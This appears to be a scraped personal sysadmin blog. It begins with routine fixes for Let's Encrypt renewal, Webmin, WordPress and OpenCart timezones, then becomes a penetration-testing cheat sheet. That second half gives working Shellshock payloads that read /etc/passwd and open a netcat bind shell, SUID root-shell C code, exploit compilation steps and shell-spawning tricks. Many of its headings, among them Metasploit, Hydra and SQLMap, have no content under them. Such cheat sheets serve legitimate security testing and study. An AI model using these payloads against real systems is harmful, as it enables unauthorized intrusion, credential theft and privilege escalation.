HP Server

I ran into a problem with one of my domain name about a week ago! The problem was related to the automatic renewal of Let’s Encrypt SSL Key. There is a easy fix out there, on this server I am using .htaccess to forward all traffic to https:// the fix is to remove or rename the .htaccess until the SSL key is renewed.

As per today 5-19-2017 Let’s Encrypt gateway make a time-out!

Source : https://statusgator.com/services/lets-encrypt

Cheers

Update :

A new certificate was successfully requested from Let’s Encrypt, and installed for easy-admin.ca, www.easy-admin.ca.

🙂

How to reset Webmin root password?

At times we often forget the webmin password for a given user, say root, or after repeated failed login attempts webmin locks the account and no one cannot login anymore. In this case you need to wait for couple, three minutes and you will be able to try to login again. However, if you’ve forgotten your password and need to change it, then login to the server via ssh and run the following command:

For RHEL/CentOS:

/usr/libexec/webmin/changepass.pl /etc/webmin root NEWPASSWORD

PCLZIP_ERR_MISSING_FILE (-4) : Missing archive file

If WP detects that it cannot write files to your /tmp/…. directory, then you get the error message like “The package could not be installed. PCLZIP_ERR_MISSING_FILE (-4) : Missing archive file”

Solution:

You can work around this by specifying a new temp directory on your server with a place that you know WordPress is allowed to write files to. You can do this by adding this line of code into the wp-config.php file.

1. Find the links blow
if ( !defined(‘ABSPATH’) )
define(‘ABSPATH’, dirname(__FILE__) . ‘/’);

2. Add lines below
/** Specify wordpress temp dir */
define(‘WP_TEMP_DIR’, ABSPATH . ‘wp-content/temp‘);

3. Open wp-content folder,
and create a new folder on your CENTOS Server named “temp“ and make sure you set the right CHOWN for your new created directory!

Try again, you will see it works like a charm.

Easy Fix here!

OpenCart used globally and operated from different timezone based on site owner place. In most case, OpenCart site run in UTC timezone. This affecting all aspect depend on the time configuration, from product comment, special price to order history.

This is not issue if you can accept the time difference; but of course it’s not logical for the site owner confused either an order is placed today or yesterday because the OpenCart site time is different from their local.

This tutorial covering not just change PHP timezone but also synchronize it with database. Lets start the tutorial with most case assumption that the OpenCart site is run on UTC timezone. To visualize this we use the free extension System Information as on image below.

For this tutorial, I use OpenCart v2.2.x that might be different from your OpenCart version. In order to use this tutorial for your site, you need to do adjustment where the code should change.

Change PHP Timezone

There is two method to change PHP timezone, through php.ini or set them at PHP file directly. To change timezone in php.ini you can ask your hosting provider, because one host to another have different approach.

To use the second method, we will change system/startup.php with PHP supported timezone.

On code above I commented the OpenCart code because I have date.timezone configured in php.ini. This change will give us result:

Most tutorial on change OpenCart timezone finish at this stage. But this is actually wrong. I purposely set the timezone to Australia/Sydney because I know the time different when write this tutorial will be one day with database time that still use UTC.

If you add product review now, which is added to database with sql query now() the date added is 20/03/2016, even though PHP time is March 21, 2016. This will make you think the review is maded yesterday, even though it’s just 5 minute ago.

OpenCart 2.2 have 275+ sql query that use now() and this mean the same thing will happen to Product Special Price, Coupon Code, Voucher, Order, Return and more. If you change PHP timezone, make sure to synchronize with database.

Synchronize PHP and Database Timezone

Synchronize php and database timezone is done by set the database connection timezone. We can try to set global database timezone but that need super privillage user which is not available on shared hosting. Query we use to set database timezone:

SET time_zone='offset';

We use offset and not named timezone because, quoted from MySQL: “Named time zones can be used only if the time zone information tables in the mysql database have been created and populated”. There is no guarantee all hosting have timezone information table in their database instances.

To change OpenCart database connection timezone, we will change system/library/db/mysqli.php and add code below after $this->connection->query(“SET SQL_MODE = ””);

The unhide command for RKHUNTER in CentOS 7 must be installed with the following “Yum” command:

yum install unhide unhide-tcp

I have detected that rkhunter need this file to be able to unhide stuff!

Info: Starting test name ‘malware’
Performing malware checks
Info: Test ‘deleted_files’ disabled at users request.
Info: Starting test name ‘running_procs’
Checking running processes for suspicious files [ None found ]
Info: Starting test name ‘hidden_procs’
Info: Unable to find the ‘unhide’ command
Info: Unable to find the ‘unhide-linux’ command
Checking for hidden processes
[ Skipped ]

rkhunter command line

Have Phun!

YUM Commands

Package manager used by RPM based systems, you can pull some usefull information about installed packages and or install additional tools.

System Information Commands

Useful for local enumeration.

#nano /etc/sysctl.conf

net.ipv4.ip_forward = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0
net.ipv4.tcp_max_syn_backlog = 1280
net.ipv4.icmp_echo_ignore_broadcasts = 1
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.secure_redirects = 0
net.ipv4.conf.all.log_martians = 1
net.ipv4.conf.default.accept_source_route = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.default.secure_redirects = 0
net.ipv4.icmp_echo_ignore_broadcasts = 1
net.ipv4.icmp_ignore_bogus_error_responses = 1
net.ipv4.tcp_syncookies = 1
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
net.ipv4.tcp_timestamps = 0

BOF / Exploit

Exploit Research

Find exploits for enumerated hosts / services.

Searching for Exploits

Install local copy of exploit-db:

 searchsploit –u
 searchsploit apache 2.2
 searchsploit "Linux Kernel"
 searchsploit linux 2.6 | grep -i ubuntu | grep local

Compiling Windows Exploits on Kali

  wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
  wine mingw-get-setup.exe
  select mingw32-base
  cd /root/.wine/drive_c/windows
  wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
  cd /root/.wine/drive_c/MinGW/bin
  wine gcc -o ability.exe /tmp/exploit.c -lwsock32
  wine ability.exe  

Cross Compiling Exploits

gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

Exploiting Common Vulnerabilities

Exploiting Shellshock

A tool to find and exploit servers vulnerable to Shellshock:

git clone https://github.com/nccgroup/shocker

./shocker.py -H TARGET  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

cat file (view file contents)

echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80

Shell Shock run bind shell

echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80

Shell Shock reverse Shell

nc -l -p 443

Simple Local Web Servers

Python local web server command, handy for serving up shells and exploits on an attacking machine.

Mounting File Shares

How to mount NFS / CIFS, Windows and Linux file shares.

HTTP / HTTPS Webserver Enumeration

Packet Inspection

Username Enumeration

Some techniques used to remotely enumerate users on a target system.

SMB User Enumeration

SNMP User Enumeration

Passwords

Wordlists

Brute Forcing Services

Hydra FTP Brute Force

Hydra POP3 Brute Force

Hydra SMTP Brute Force

Use -t to limit concurrent connections, example: -t 15

Password Cracking

John The Ripper – JTR

Windows Penetration Testing Commands

See Windows Penetration Testing Commands.

Linux Penetration Testing Commands

See Linux Commands Cheat Sheet (right hand menu) for a list of Linux Penetration testing commands, useful for local system enumeration.

Compiling Exploits

Some notes on compiling exploits.

Identifying if C code is for Windows or Linux

C #includes will indicate which OS should be used to build the exploit.

Build Exploit GCC

Compile exploit gcc.

GCC Compile 32Bit Exploit on 64Bit Kali

Handy for cross compiling 32 bit binaries on 64 bit attacking machines.

Compile Windows .exe on Linux

Build / compile windows exploits on Linux, resulting in a .exe file.

SUID Binary

Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

below are some quick copy and pate examples for various shells:

SUID C Shell for /bin/bash

int main(void){
       setresuid(0, 0, 0);
       system("/bin/bash");
}       

SUID C Shell for /bin/sh

int main(void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}       

Building the SUID Shell binary

gcc -o suid suid.c  

For 32 bit:

gcc -m32 -o suid suid.c  

Reverse Shells

See Reverse Shell Cheat Sheet for a list of useful Reverse Shells.

TTY Shells

Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like su from reverse shells.

Python TTY Shell Trick

python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

Spawn Interactive sh shell

/bin/sh -i

Spawn Perl TTY Shell

exec "/bin/sh";
perl —e 'exec "/bin/sh";'

Spawn Ruby TTY Shell

exec "/bin/sh"

Spawn Lua TTY Shell

os.execute('/bin/sh')

Spawn TTY Shell from Vi

Run shell commands from vi:

:!bash

Spawn TTY Shell NMAP

!sh

Metasploit

Some basic Metasploit stuff, that I have found handy for reference.

Basic Metasploit commands, useful for reference, for pivoting see – Meterpreter Pivoting techniques.

Meterpreter Payloads

Windows reverse meterpreter payload

Windows VNC Meterpreter payload

Linux Reverse Meterpreter payload

Meterpreter Cheat Sheet

Useful meterpreter commands.

Common Metasploit Modules

Top metasploit modules.

Remote Windows Metasploit Modules (exploits)

Local Windows Metasploit Modules (exploits)

Auxilary Metasploit Modules

Metasploit Powershell Modules

Post Exploit Windows Metasploit Modules

Windows Metasploit Modules for privilege escalation.

ASCII Table Cheat Sheet

Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.

CISCO IOS Commands

A collection of useful Cisco IOS commands.

Cryptography

Hash Lengths

Hash Examples

Likely just use hash-identifier for this but here are some example hashes:

SQLMap Examples